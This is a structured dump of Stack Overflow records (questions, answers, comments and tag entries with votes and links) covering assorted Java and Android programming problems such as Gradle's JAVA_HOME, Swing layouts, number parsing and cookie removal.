has title: Program not determining if the string is a palindrome
tagged with: input
tagged with: java

http://stackoverflow.com/comment/33885848
has text: yes. im attempting to add * i forgot to add the modified one. output is not printing like this its crossing the column size which i've given
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22302147

http://stackoverflow.com/a/22288730
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22288659
has comment: http://stackoverflow.com/comment/33862505
answers question: http://stackoverflow.com/q/22288659
type: Answer
has comment: http://stackoverflow.com/comment/33862541
has body: You have to code it yourself if you don't want to use a libary. There isn't any build-in classes in Android SDK for PDF manipulation. However you have to use a Libary and have a look at this question: PDF Library to rendering the PDF files in Android
score: 0

http://stackoverflow.com/comment/33873109
score: 4
has text: @user3313050 NO, `setBounds` is NOT the solution.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22294990

adapter
tags question: http://stackoverflow.com/q/22206733
tag name: adapter
tags question: http://stackoverflow.com/q/22208560
tags question: http://stackoverflow.com/q/22274645
type: Tag
tags question: http://stackoverflow.com/q/22186339

http://stackoverflow.com/comment/33700193
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22199641
has text: I don't see any requirement to create an array. You are home free.
score: 0

http://stackoverflow.com/a/22309017
downvote count: 1
has comment: http://stackoverflow.com/comment/33899967
has comment: http://stackoverflow.com/comment/40627368
accepted answer of: http://stackoverflow.com/q/22307516
has comment: http://stackoverflow.com/comment/53382578
answers question: http://stackoverflow.com/q/22307516
has comment: http://stackoverflow.com/comment/93076481
score: 275
upvote count: 276
type: AcceptedAnswer
has body: Turns out that the particular Gradle binary I downloaded from the Ubuntu 13.10 repository itself tries to export JAVA_HOME. Thanks to Lucas for suggesting this. /usr/bin/gradle line 70: export JAVA_HOME=/usr/lib/jvm/default-java Commenting this line out solves the problem, and Gradle finds the correct path to the Java binary. If you just download the binary from their website it does not have this problem, It's an issue with the Ubuntu repo version. There also seem to be some other issues with 13.10 version.
has comment: http://stackoverflow.com/comment/75907830
has comment: http://stackoverflow.com/comment/46323784
has comment: http://stackoverflow.com/comment/66144025
has comment: http://stackoverflow.com/comment/33899670
type: Answer
has comment: http://stackoverflow.com/comment/65900424
has comment: http://stackoverflow.com/comment/33900600

http://stackoverflow.com/comment/33819709
type: Comment
type: QuestionComment
has text: Keep using priority imo
comment on: http://stackoverflow.com/q/22265102
score: 0

http://stackoverflow.com/a/22188137
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22187902
has comment: http://stackoverflow.com/comment/33680653
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33680607
has body: I was able to achieve this Using this... private void setupGUI() { this.setLayout(new GridBagLayout()); GridBagConstraints gbc = new GridBagConstraints(); gbc.anchor = GridBagConstraints.NORTH; gbc.weighty = 1; this.add(getPanel(1, 4), gbc); this.add(getPanel(2, 2), gbc); } The problem is, you're going to need to get your hands a little dirty, as no layout manager will do exactly what you want (with the possible exception of MigLayout, but I've never used it) What I would do, is create a JPanel per row, set it's layout to GridBagLayout and use the above concept to layout to layout the number of columns you need, then do this for each row...
accepted answer of: http://stackoverflow.com/q/22187902

http://stackoverflow.com/comment/33839196
type: Comment
has text: I am drawing my button in a JPanel, and then I am adding it to the borderlayout of another JPanel, so I don't have access to the pack() method. unless I am thinking of the wrong method, isn't pack a JFrame method?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22276013

http://stackoverflow.com/a/54188294
type: Answer
has body: If the opened file is not considered a valid heap dump, the JvisualVM will also be stuck on this screen. Opening the same (invalid) file on MAT (from Eclipse), the error happens: Error opening heap dump 'heap.hprof'. Check the error log for further details. Not a HPROF heap dump (java.io.IOException) Not a HPROF heap dump
score: 0
answers question: http://stackoverflow.com/q/22318262

http://stackoverflow.com/comment/33673156
type: AnswerComment
score: 0
has text: if what's being taught is methods, Math.pow() in one might be okay. Still, it's best for the poster to learn both ways of writing the power.
type: Comment
comment on: http://stackoverflow.com/a/22184056

http://stackoverflow.com/a/22202928
answers question: http://stackoverflow.com/q/22202815
score: 1
has body: Looks like you have an infinite recursive call inside the add method. sumOfBottles = this.add(other); All recursive functions require a check to break out of the recursive calls. Since, you are wanting to call the Bottle's add method. Replace above line with sumOfBottles = super.add(other);
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22202815

http://stackoverflow.com/a/22225119
downvote count: 0
upvote count: 6
has body: In Java you can store in int variable numbers in range -2147483648 to 2147483647. This is not enough for your 10-digit telephone numbers. You can easily fix this using long: long phone = Long.parseLong(phone1); On the other hand I would rethink using number data types for storing telephone numbers. Why? Because you can't store leading zeros if your numbers are not always exact 10 digits long. Because you loose formating, like "123-456-..." Because you can't save things like # or p, that are valid and used sometimes in phone numbers
answers question: http://stackoverflow.com/q/22224815
score: 6
type: Answer

http://stackoverflow.com/comment/73490167
type: Comment
has text: I am getting error as There are no public folder servers available.
score: 0
comment on: http://stackoverflow.com/a/29264962
type: AnswerComment

http://stackoverflow.com/q/22322768
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22322930
has comment: http://stackoverflow.com/comment/33922315
upvote count: 1
type: Question
has title: Issue with java.lang.NumberFormatException
has comment: http://stackoverflow.com/comment/33922500
has comment: http://stackoverflow.com/comment/33922263
tagged with: numberformatexception
has comment: http://stackoverflow.com/comment/33922445
accepted answer: http://stackoverflow.com/a/22322930
answer count: 1
downvote count: 0
tagged with: string
has body: I have a variable which contains some parameters which affect a created weka model. I want to change automatically the parameters values. I ve got the following: String c [] ={"1.0", "10.0", "20.0", "30.0", "40.0", "50.0", "60.0","70.0", "80.0", "90.0","100.0", "200.0", "300.0", "400.0","500.0", "600.0", "700.0", "800.0", "1000.0", "2000.0"}; System.out.println(c[1]); String opt = ("-C "+c[0] +"-L 0.001 -P 1.0E-12 -N 0 -V -1 -W 1 -K weka.classifiers.functions.supportVector.PolyKernel -C 250007 -E 1.0 "); String [] options = opt.split(" "); obj.train(new File(obj.str.get(2)), options); I want to change inside the loop automatically the C parameter. However, when I wrote the below: String opt = ("-C "+c[1] +"-L 0.001 -P 1.0E-12 -N 0 -V -1 -W 1 -K weka.classifiers.functions.supportVector.PolyKernel -C 250007 -E 1.0 "); I am receiving a java.lang.NumberFormatException: For input string. What I might have to do , to work proper? The error is in last line of the above code.
favorite count: 0
has comment: http://stackoverflow.com/comment/33922305
type: AnsweredQuestion

http://stackoverflow.com/a/22240557
has body: You should parse the String to get an int like int num = Integer.parseInt(text); But also bear in mind that this assumes that text is really a convertible String. If you want a simple validation you could do int num = 0; while ((text = in.readLine()) != null) try { num = Integer.parseInt(text); } catch (NumberFormatException e) { //do something here when you have a String that cannot be converted e.g. "19a" num = 0; } System.out.println(text); } Edit: I also suggest you use the while condition I put above. Currently you are reading a line before the loop even begins.
has comment: http://stackoverflow.com/comment/33775235
score: 0
has comment: http://stackoverflow.com/comment/33775010
type: Answer
answers question: http://stackoverflow.com/q/22240511
has comment: http://stackoverflow.com/comment/33775211
has comment: http://stackoverflow.com/comment/33775045

http://stackoverflow.com/comment/33674746
type: Comment
score: 1
type: QuestionComment
has text: Do you mean really "at the same time" or "on the same instance"?
comment on: http://stackoverflow.com/q/22184606

http://stackoverflow.com/q/22304440
favorite count: 0
has title: Write non english characters using a RandomAccessFile in java
accepted answer: http://stackoverflow.com/a/22304537
upvote count: 2
has answer: http://stackoverflow.com/a/22304685
score: 2
type: AnsweredQuestion
tagged with: java
tagged with: character-encoding
type: Question
has comment: http://stackoverflow.com/comment/33890120
has answer: http://stackoverflow.com/a/22304537
tagged with: randomaccessfile
answer count: 3
downvote count: 0
possible better answer: http://stackoverflow.com/a/22304882
has body: I am trying to write some text to a file using a RandomAccessFile object but the non-english characters are not saved correctly. Specifically, this sentence --> "und NotenstEnder Libero" is saved like this --> "und Notenst•nder Libero" where 'E' character is not english (the ascii code is 917 i think). The code i am using is this: file = new RandomAccessFile(path, "rw"); ... file.seek(file.length()); file.writeBytes("The data i want"); How can i avoid this and write the correct text? (PS: I know about file.writeChars, and i am wondering if there is another way!)
has answer: http://stackoverflow.com/a/22304882

http://stackoverflow.com/comment/33669218
comment on: http://stackoverflow.com/a/22181349
score: 0
type: AnswerComment
has text: The above yields more apparent precision but no more accuracy.
type: Comment

http://stackoverflow.com/comment/33718594
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22209175
has text: http://www.regular-expressions.info/catastrophic.html has some good info on regex performance
score: 0

http://stackoverflow.com/comment/33905239
type: AnswerComment
has text: I'm terrible at finding extra parenthesis, thanks! Its very un-clojurely as it stands, I had let originally but changed it in an attempt to fix it. Thanks again!
type: Comment
comment on: http://stackoverflow.com/a/22312676
score: 0

http://stackoverflow.com/comment/33713068
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22205267
has text: See the last query, which will return the children's ids based on their parent market_id
type: AnswerComment

http://stackoverflow.com/a/22241122
has body: I think what you are trying to do is create a new collection. If this is for learning purpose, then you could just define your BST as: class BST&lt;E implements Comparable&lt;E&gt;&gt;{ private Node root; //... private class Node{ // instances of Node are bound to the instance of BST E elem; Node left, right; } } or with a static inner class: class BST&lt;E implements Comparable&lt;E&gt;&gt;{ private Node&lt;E&gt; root; // ... private static class Node&lt;X implements Comparable&lt;X&gt;&gt;{ // similar } } Note that it's good practice to have your Node class defined as an inner class and make it either private or with a private constructor. This ensures encapsulation of the implementation. I want to point out that this is not the approach taken in the SDK. In the library, it's always possible to create a data structure by passing an appropriate Comparator&lt;E&gt; so that no natural ordering is required or can be overwritten. If you want to follow this other approach look at the implementation of TreeSet or something like that. You can either pass the Comparator or the type in the collection will be checked at run time to implement Comparable. This has the advantage of being more flexible because you can add to the collection objects for which you cannot change the implementation. Finally, if you need to implement a collection for a project or work, then don't. The SDK has plenty of collections and there are also the Guava collections.
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/22240914
answers question: http://stackoverflow.com/q/22240914
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33882018
has text: Please edit your question to add the code in it instead of in a comment.
type: QuestionComment
comment on: http://stackoverflow.com/q/22294690
score: 0
type: Comment

http://stackoverflow.com/comment/87550620
has text: @gregwhitaker Do you know how to achieve this with log4j2 ? Thanks !
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22302591
type: AnswerComment

http://stackoverflow.com/q/22199690
score: 3
answer count: 1
downvote count: 0
tagged with: jmonkeyengine
has title: Threads in jMonkey and Nifty?
favorite count: 0
has answer: http://stackoverflow.com/a/22200122
has body: I have recently learnt that jMonkey operates on only a single thread which is its openGL render thread. However I'm not able to understand it completely. I can understand that it executes all update and initialize() calls on a single update loop but input should be independent of this update loop, otherwise it will become a polling mechanism. What exactly happens when the jMonkey application starts. Three tasks that it needs to do is run a update loop, run initialize methods of app states once, do rendering and constantly cater to events? How does it manage all of this via a single thread? What happens when I add a new app state in the initialize method of another app state? In input handling input manager notifies the various listeners about events. How are nifty callback events say onClick() are handled on the same render loop? Lastly in which order this listen- update-render loop runs and where we can find code related to it?
type: AnsweredQuestion
upvote count: 3
tagged with: java
tagged with: multithreading
accepted answer: http://stackoverflow.com/a/22200122
type: Question

http://stackoverflow.com/q/22254049
type: UnansweredQuestion
tagged with: regex
has comment: http://stackoverflow.com/comment/33799239
tagged with: java
has title: Parsing query SQL-Like to match open and closed brackets
type: Question
has comment: http://stackoverflow.com/comment/33798956
has comment: http://stackoverflow.com/comment/33799899
score: 0
has comment: http://stackoverflow.com/comment/33799037
has answer: http://stackoverflow.com/a/22254438
answer count: 1
has body: I have a string like this ((one = WORD) AND (two != 2) AND (three &gt; 3) AND (four &gt;= 4) AND (five &lt; 5) AND (six &lt;= 6) AND (seven IN (seven1, seven2)) AND (eight LIKE 'like')) I need a pattern (Java) for matching all the groups, that pay attention to the inner group for the IN operator. I need a result like this one = WORD two != 2 three &gt; 3 four &gt;= 4 five &lt; 5 six &lt;= 6 seven IN (seven1, seven2) eight LIKE 'like' A single pattern that match from ( to the next first ) is not fine, because for the IN operator there is a inner group Thank you

http://stackoverflow.com/q/22287058
downvote count: 0
answer count: 1
tagged with: android-virtual-device
favorite count: 0
has body: Trying to create a new AVD specifically for Android 2.3.3 Gingerbread. I've cloned a device based on the 3.7" FWVGA slider as indicated by this image This shows up in the "Device Definitions" tab When I get to the "Create new Android Virtual Device (AVD)" window, I believe I have properly filled in the form as shown here However, when I go to click "OK", which is a live button and not grayed out, there is no response at all from Eclipse. The application doesn't freeze or anything it just does not allow me to finish creating the new AVD. These specs were as indicated by my class but any advice that could help rectify the situation would be greatly appreciated while I await a response from my professor.
tagged with: android
has answer: http://stackoverflow.com/a/22287107
type: AnsweredQuestion
score: 1
tagged with: java
linked to: http://stackoverflow.com/q/22190076
upvote count: 1
type: Question
duplicate of: http://stackoverflow.com/q/22190076
accepted answer: http://stackoverflow.com/a/22287107
has title: Eclipse can't create new AVD
tagged with: eclipse

http://stackoverflow.com/comment/33759807
type: Comment
comment on: http://stackoverflow.com/q/22232634
score: 0
type: QuestionComment
has text: Did you declare `radioGrupo` as a `RadioGroup` in your XML file?

http://stackoverflow.com/comment/33912295
type: QuestionComment
has text: The text boxes are already existing...
comment on: http://stackoverflow.com/q/22297732
score: 0
type: Comment

http://stackoverflow.com/a/22292228
answers question: http://stackoverflow.com/q/22292201
type: Answer
accepted answer of: http://stackoverflow.com/q/22292201
score: 0
has body: Problem is this line TowersOfHanoi.towersOfHanoi(yolo,1,3,2); either create an object of TowersOfHanoi and invoke method on that or declare your method TowersOfHanoi.towersOfHanoi as static.
type: AcceptedAnswer

jlist
tags question: http://stackoverflow.com/q/22207735
tags question: http://stackoverflow.com/q/22182512
tags question: http://stackoverflow.com/q/22180574
tags question: http://stackoverflow.com/q/22230590
tags question: http://stackoverflow.com/q/22179797
tags question: http://stackoverflow.com/q/22242192
tags question: http://stackoverflow.com/q/22281834
tags question: http://stackoverflow.com/q/22266506
tags question: http://stackoverflow.com/q/22241268
tags question: http://stackoverflow.com/q/22287262
type: Tag
tags question: http://stackoverflow.com/q/22258935
tags question: http://stackoverflow.com/q/22195578
tags question: http://stackoverflow.com/q/22247942
tags question: http://stackoverflow.com/q/22213780
tags question: http://stackoverflow.com/q/22294990
tags question: http://stackoverflow.com/q/22215937
tags question: http://stackoverflow.com/q/22266625
tags question: http://stackoverflow.com/q/22257539
tag name: jlist
tags question: http://stackoverflow.com/q/22293602

http://stackoverflow.com/a/22278604
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22255369
type: Answer
has comment: http://stackoverflow.com/comment/68943227
upvote count: 1
has body: I was able to fix this. This link helped me to try. What I did was add the "java:module/" in front to the jndi lookup so that it reads the bean from module onwards. That link will help to understand it more clearly. Also note that I removed the /local at the end. Now I just lookup the bean only. IService interface is use by two different beans without any problem now. This is how I lookup the bean from Java SE client. String jndi = "MyService" // this is a run time parameter. Can be 'MyAnotherService' IService bean = (IService) initialContext.lookup("java:module/"+jndi+"Bean"); And I did not change any annotation in the bean class. Because nothing worked for me to change the jndi name. :( @Local public interface IService { // interface} @Stateless public class MyServiceBean implements IService { // bean 1} @Stateless public class MyAnotherServiceBean implements IService { // bean 2} Now I am not depend on the ear or my ejb jar name. Thanks Gabriel for help!!!
score: 1
answers question: http://stackoverflow.com/q/22255369

http://stackoverflow.com/a/22315557
has comment: http://stackoverflow.com/comment/33910593
has comment: http://stackoverflow.com/comment/33910352
downvote count: 0
has comment: http://stackoverflow.com/comment/33910322
has body: If you don't want to use Matcher.find for some reason, then at least go for using indexOf. You can check on the whole line without breaking up the line into a lot of String Objects which then need iterating over. int index = line.indexOf (inputSearch); while (index != -1) { count++; countBuffer++; index = line.indexOf (inputSearch, index+1); }
type: Answer
has comment: http://stackoverflow.com/comment/33910351
has comment: http://stackoverflow.com/comment/33910374
has comment: http://stackoverflow.com/comment/33910746
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/22315337

http://stackoverflow.com/comment/33910406
has text: @ThanhLe index search just return the first match found. What if the string occurs more than once in the line.
comment on: http://stackoverflow.com/q/22315337
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22319792
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22296126
upvote count: 3
has body: After Couple of days of searching and integrating i found the solution ..... Why a ClassNotFoundException exception occurs most frequently here the article is real good ... http://javarevisited.blogspot.com/2011/08/classnotfoundexception-in-java-example.html The main reason of the problem shows the log java.lang.ClassNotFoundException: javax.servlet.AsyncContext it means it is not finding the asyncContext class provided by javax.servlet-3.0 . In servlet 2.5 its missing. i was running Apache Tomcat 7 in localhost, but in local server 192.168.1.10 i was running Apache Tomcat 6 . In the given link apache doc says the servlet version. So the solution is either anyone upgrade the Apache Tomcat 6 to Apache Tomcat 7 or posting the file javax.servlet-3.0 in Apache Tomcat 6 lib folder. [Here][3] is the jar file.

http://stackoverflow.com/comment/33738576
comment on: http://stackoverflow.com/q/22219067
score: 0
has text: @MarkoTopolnik Right. Now I try to install Java EE SDK with JDK. http://www.oracle.com/technetwork/java/javaee/downloads/java-ee-7-sdk-with-jdk-u45-2066865.html But if I want to install this, for first I need to install JRE 7.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33866181
has text: thanks. can you tell me what this line means:# Keep one backup file log4j.appender.R.MaxBackupIndex=1 lets say i change that to 3. does that mean that i'll have files generic1.log , generic2.log and generic3.log ???
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22290784
type: Comment

instantiation
type: Tag
tags question: http://stackoverflow.com/q/22292229
tag name: instantiation
tags question: http://stackoverflow.com/q/22234766

http://stackoverflow.com/q/22238871
score: 0
has comment: http://stackoverflow.com/comment/33772322
has comment: http://stackoverflow.com/comment/33772212
has title: ComboBox not showing its content in a JTable
tagged with: combobox
possible better answer: http://stackoverflow.com/a/22239330
has answer: http://stackoverflow.com/a/22239586
accepted answer: http://stackoverflow.com/a/22239586
tagged with: swing
has comment: http://stackoverflow.com/comment/33772270
type: AnsweredQuestion
tagged with: java
has body: I want to show a Combobox in a JTable. For the JTable I use a TableModel. I have succeded to show the Combobox (not its toString()). The problem is I can't view its content. The combobox must be not editable. I have read many tutorial but I haven't found one with TableModel. I found this code : JComboBox comboBox = new JComboBox(); comboBox.addItem("Snowboarding"); comboBox.addItem("Rowing"); comboBox.addItem("Knitting"); comboBox.addItem("Speed reading"); comboBox.addItem("Pool"); comboBox.addItem("None of the above"); sportColumn.setCellEditor(new DefaultCellEditor(comboBox)); //Set up tool tips for the sport cells. DefaultTableCellRenderer renderer = new DefaultTableCellRenderer(); renderer.setToolTipText("Click for combo box"); sportColumn.setCellRenderer(renderer); } I can't use it for two reason. The content of my Combobox is not the same and they don't use a TableModel. Here's my code : public class TProfModel extends DefaultTableModel implements TableModel { /** * */ private static final long serialVersionUID = 1L; private String[] names = { "Nom", "Prénom", "Matière", "Classes" }; private Model model; public TProfModel(Model model){ this.model = model; fireTableDataChanged(); } public Class&lt;?&gt; getColumnClass(int col) { return getValueAt(0,col).getClass(); } public int getColumnCount() { return names.length; } public String getColumnName(int col) { return names[col]; } public int getRowCount() { if(model != null) return model.getProfs().size(); return 0; } public Object getValueAt(int line, int col) { switch (col) { case 0: return model.getProfs().get(line).getNom(); case 1: return model.getProfs().get(line).getPrenom(); case 2: return model.getProfs().get(line).getMatiere(); case 3: return getClasses(line); } return null; } private JComboBox&lt;String&gt; getClasses(int line) { JComboBox&lt;String&gt; comboBox = new JComboBox&lt;String&gt;(); for(String classe : model.getProfs().get(line).getClasses()) comboBox.addItem(classe); comboBox.setSelectedInd…
type: Question
has comment: http://stackoverflow.com/comment/33772646
answer count: 2
has answer: http://stackoverflow.com/a/22239330
tagged with: jtable

http://stackoverflow.com/comment/33744632
score: 0
type: AnswerComment
type: Comment
has text: I do not have control of the system that creates the records in the database.
comment on: http://stackoverflow.com/a/22224239

http://stackoverflow.com/a/22277186
score: 5
accepted answer of: http://stackoverflow.com/q/22275562
type: AcceptedAnswer
downvote count: 0
has body: I think that rather than calling register(MyInterceptionService.class) you might want to instead add into your configure() statement: bind(MyInterceptionService.class).to(InterceptionService.class).in(Singleton.class) I am not sure it will work as I have not tried it myself so your results may vary lol
answers question: http://stackoverflow.com/q/22275562
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/38635426
has comment: http://stackoverflow.com/comment/42129061
has comment: http://stackoverflow.com/comment/33842502
has comment: http://stackoverflow.com/comment/33844442
has comment: http://stackoverflow.com/comment/38625607

http://stackoverflow.com/comment/33718793
type: QuestionComment
has text: Also it would be better to check in your while the double value before adding it to the list.
score: 0
comment on: http://stackoverflow.com/q/22209551
type: Comment

http://stackoverflow.com/a/22172630
has body: // Per the JavaDoc: // the value 0 if the argument Date is equal to this Date; a value // less than 0 if this // Date is before the Date argument; and a value greater // than 0 if this Date is after // the Date argument. if (startDate.compareTo(endDate) &lt; 0) { // before } else if (startDate.compareTo(endDate) == 0) { // same } else if (startDate.compareTo(endDate) &gt; 0) { // after } else if (startDate.compareTo(firstDate) &gt; 0 &amp;&amp; startDate.compareTo(secondDate) &lt; 0) { // between } Insert your conditions as appropriate.
answers question: http://stackoverflow.com/q/22172377
has comment: http://stackoverflow.com/comment/33652143
has comment: http://stackoverflow.com/comment/33652315
score: 1
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33652220
has comment: http://stackoverflow.com/comment/33652285
type: Answer
has comment: http://stackoverflow.com/comment/33733524

http://stackoverflow.com/comment/33904989
type: Comment
has text: And just btw: so how should I access the only argument of the object which I call a method on? Shuld I make some fields in the class or what?
score: 0
comment on: http://stackoverflow.com/a/22304787
type: AnswerComment

http://stackoverflow.com/a/22223938
type: Answer
answers question: http://stackoverflow.com/q/22223139
has body: The FtpServer starts non-daemon threads and they are still running. If a thread is spawned from a daemon thread, the new thread will initially inherit the daemon status from its parent, but one can override it. E.g.: Thread thread = new Thread(new Runnable() { @Override public void run() { Thread embeddedNonDaemon = new Thread(new Runnable() { @Override public void run() { while (true) { ; } } }); embeddedNonDaemon.setDaemon(false); embeddedNonDaemon.start(); } }); thread.setDaemon(true); thread.start(); Thread.sleep(5000); This code does not terminate, either.
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/22223139

http://stackoverflow.com/comment/33914481
comment on: http://stackoverflow.com/a/22317608
type: AnswerComment
has text: geek it has to display exactly onto body ........can u pls write the code for me i need it very urgently i am very new to android so.........
score: 0
type: Comment

http://stackoverflow.com/comment/33666638
type: AnswerComment
has text: @user3380152 please refrain from posting unconstructive comments. Simply ignore the guy and everybody wins. Also, if this answer was helpful you can [mark it as accepted](https://stackoverflow.com/help/accepted-answer) with the check mark under the downvote button.
type: Comment
comment on: http://stackoverflow.com/a/22179246
score: 0

http://stackoverflow.com/comment/33767248
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236125
has text: @GIJoe Because the `Car` class declares two overloaded methods. `Dodge` is a sub class of `Car`. It will therefore be more specific than `Car` and therefore be chose with a `null` argument. In the case of `Double` and `BigInteger`, the classes are unrelated and therefore at the same object hierarchy level. There's nothing to distinguish them. Therefore none is more specific.
score: 0

http://stackoverflow.com/comment/33768169
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236791
has text: I mean invoke..sorry i am little frustrated.. my whole program is ready except this error.

http://stackoverflow.com/comment/33847837
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22280993
type: AnswerComment
has text: _double slash "\""_? What does it mean?

http://stackoverflow.com/a/22293642
has comment: http://stackoverflow.com/comment/33870815
accepted answer of: http://stackoverflow.com/q/22293415
has comment: http://stackoverflow.com/comment/33870880
answers question: http://stackoverflow.com/q/22293415
has comment: http://stackoverflow.com/comment/33871146
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33870969
has comment: http://stackoverflow.com/comment/33871472
score: 0
has body: i didn't exactly get what are you trying but from what i understand if you are trying to change the layout using threads then you won't be able to do that because it is only possible on main thread.
type: Answer
has comment: http://stackoverflow.com/comment/33871339

http://stackoverflow.com/q/22267838
accepted answer: http://stackoverflow.com/a/22267933
type: Question
possible better answer: http://stackoverflow.com/a/22267974
tagged with: string
has answer: http://stackoverflow.com/a/22267974
has answer: http://stackoverflow.com/a/22267933
has comment: http://stackoverflow.com/comment/33824184
score: 0
tagged with: android
answer count: 4
has answer: http://stackoverflow.com/a/22267863
has answer: http://stackoverflow.com/a/22267900
has body: I"m saving a file path as a String - String selectedPath1 = getPath(selectedImageUri); public String getPath(Uri uri) { String[] projection = { MediaStore.Images.Media.DATA }; Cursor cursor = managedQuery(uri, projection, null, null, null); int column_index = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA); cursor.moveToFirst(); return cursor.getString(column_index); } Now i'm the selectedPath1 String is shown like that - /storage/emulated/0/DCIM/Camera/201403_231.jpg Now what iwould like to do is to save the - 201403_231.jpg - as a separate String. So how can i "cut" it from the String? Thanks for any kind of help
has title: How to get a certain part from file path that being saved as a String - Android / Java
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/a/22220122
upvote count: 3
has body: Use XStream Java Code XStream xstream = new XStream(); xstream.alias("person", Person.class); xstream.alias("phonenumber", PhoneNumber.class); Person joe = new Person("Joe", "Walnes"); joe.setPhone(new PhoneNumber(123, "1234-456")); joe.setFax(new PhoneNumber(123, "9999-999")); String xml = xstream.toXML(joe); Output XML Joe Walnes 123 1234-456 123 9999-999 Library: http://x-stream.github.io/tutorial.html
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22219833
score: 3
answers question: http://stackoverflow.com/q/22219833

http://stackoverflow.com/q/22287723
has comment: http://stackoverflow.com/comment/33877761
downvote count: 1
has comment: http://stackoverflow.com/comment/33860313
has title: How to design an API for different kinds of users?
has comment: http://stackoverflow.com/comment/33860856
has comment: http://stackoverflow.com/comment/33879753
type: Question
has comment: http://stackoverflow.com/comment/33860729
tagged with: c#
tagged with: api-design
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/33860310
has answer: http://stackoverflow.com/a/62823925
has body: I'm designing a new API for my product. The code is to be written in C, C# and Java and my goal is to create an API with different levels of control for different kinds of users. The following is an example of an API which includes all levels of control: class MyAPI { // This method shoudl be available for all users public int level_1_function(int x, int y) {return 0;} // This method should be available for users of level 2 and above public int level_2_function(String s, int x) { return 0; } // This metho should be available for users of level 3 and above public String level_3_function(String s, int y) { return "Result"; } } The simplest approach is to use pre-processor directives #ifdef LEVEL_1 and compile the code 3 times, each time with different pre-processor directive. This will result in 3 different binaries for the different kinds of users. I want to avoid creating 3 binaries. Is it possible?
tagged with: api
has comment: http://stackoverflow.com/comment/33860322
answer count: 1
has comment: http://stackoverflow.com/comment/33861152
has comment: http://stackoverflow.com/comment/33860437
favorite count: 0
has comment: http://stackoverflow.com/comment/33860664
has comment: http://stackoverflow.com/comment/33861222
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/56692702
has comment: http://stackoverflow.com/comment/33860999
score: 2
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33860716

http://stackoverflow.com/comment/33858947
type: QuestionComment
has text: @BoristheSpider With hash tables or hash maps being a proposed solution to this problem, it is entirely appropriate and on topic to recommend against using hash collections which require implementation of `hashCode` on classes whose instances will be added to hashed collections. Sticking with the the standard collection classes is more than reasonable, but `HashMap` should always be prefered over `HashSet` or other collection classes dependent on `hashCode` with the obvious exception of "immutable" instances of the primitive value wrapper classes.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22286421

http://stackoverflow.com/q/22288872
favorite count: 0
has comment: http://stackoverflow.com/comment/33863218
has title: How to solve this without using a long boolean expression?
has comment: http://stackoverflow.com/comment/33862843
score: -3
has answer: http://stackoverflow.com/a/22288943
has comment: http://stackoverflow.com/comment/33862883
answer count: 4
downvote count: 4
has comment: http://stackoverflow.com/comment/33863186
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33863698
has body: package pks; public class pks { public static void main (String args[]) { System.out.println (isDaphne(new int[]{1, 0, 0, 1, 0, 0, 0, 1, 6})); } static int isDaphne (int [ ] a) { int counter=0; for (int i=0; i&lt;=5; i++) { if (a[i] == 0 &amp;&amp; a[i+1] == 0 &amp;&amp; a[i+2] + a[i+3] == 0) { counter++; break; } else { } } return counter; } } Now the Output of the Program is 1 when there are 4 consecutive 0's But I don't want use this expression: if (a[i] == 0 &amp;&amp; a[i+1] == 0 &amp;&amp; a[i+2] + a[i+3] == 0) Is there any other way to do this, without using the above expression? Usage of additional array, hashmap etc. not allowed. Arrays.sort(..) not allowed
possible better answer: http://stackoverflow.com/a/22288943
tagged with: java
has comment: http://stackoverflow.com/comment/33862615
has answer: http://stackoverflow.com/a/22289443
has comment: http://stackoverflow.com/comment/33863251
has comment: http://stackoverflow.com/comment/33862830
has comment: http://stackoverflow.com/comment/33863401
has answer: http://stackoverflow.com/a/22289450
accepted answer: http://stackoverflow.com/a/22289450
type: Question
has comment: http://stackoverflow.com/comment/33862564
has comment: http://stackoverflow.com/comment/33863070
upvote count: 1
has comment: http://stackoverflow.com/comment/33863007
has comment: http://stackoverflow.com/comment/33862870
has comment: http://stackoverflow.com/comment/33863071
has comment: http://stackoverflow.com/comment/33862619
has comment: http://stackoverflow.com/comment/33863144
has answer: http://stackoverflow.com/a/22288952
has comment: http://stackoverflow.com/comment/33865672
has comment: http://stackoverflow.com/comment/33862904
has comment: http://stackoverflow.com/comment/33862644

http://stackoverflow.com/a/22314556
type: Answer
upvote count: 5
has body: This problem was solved by doing cookie.setPath("/") both when setting, and when removing the cookie. Previously, I was only doing this when setting, but not when removing. Hence, the cookie was not getting removed. Now, its working across the whole domain.
score: 5
